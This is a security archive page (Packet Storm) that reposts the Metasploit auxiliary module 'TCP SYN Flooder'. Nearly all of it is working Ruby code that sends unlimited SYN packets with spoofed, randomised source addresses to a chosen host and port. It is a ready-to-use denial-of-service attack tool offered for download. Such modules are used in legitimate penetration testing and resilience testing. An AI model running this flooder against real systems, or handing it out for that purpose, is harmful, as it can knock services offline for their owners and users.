exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TCP SYN Flooder

TCP SYN Flooder
Posted Aug 31, 2024
Authored by Kris Katterjohn | Site metasploit.com

A simple TCP SYN flooder.

tags | exploit, tcp
SHA-256 | 3ace287aab3da5a9b492f7d64244be039a5f455079c90681e26f7397741ff12c

TCP SYN Flooder

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
include Msf::Auxiliary::Dos

def initialize
super(
'Name' => 'TCP SYN Flooder',
'Description' => 'A simple TCP SYN flooder',
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE
)

register_options([
Opt::RPORT(80),
OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
OptInt.new('SPORT', [false, 'The source port (else randomizes)']),
OptInt.new('NUM', [false, 'Number of SYNs to send (else unlimited)'])
])

deregister_options('FILTER','PCAPFILE')
end

def sport
datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i
end

def rport
datastore['RPORT'].to_i
end

def srchost
datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
end

def run
open_pcap

sent = 0
num = datastore['NUM'] || 0

print_status("SYN flooding #{rhost}:#{rport}...")

p = PacketFu::TCPPacket.new
p.ip_saddr = srchost
p.ip_daddr = rhost
p.tcp_dport = rport
p.tcp_flags.syn = 1

while (num <= 0) or (sent < num)
p.ip_ttl = rand(128)+128
p.tcp_win = rand(4096)+1
p.tcp_sport = sport
p.tcp_seq = rand(0x100000000)
p.recalc
break unless capture_sendto(p,rhost)
sent += 1
end

close_pcap
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close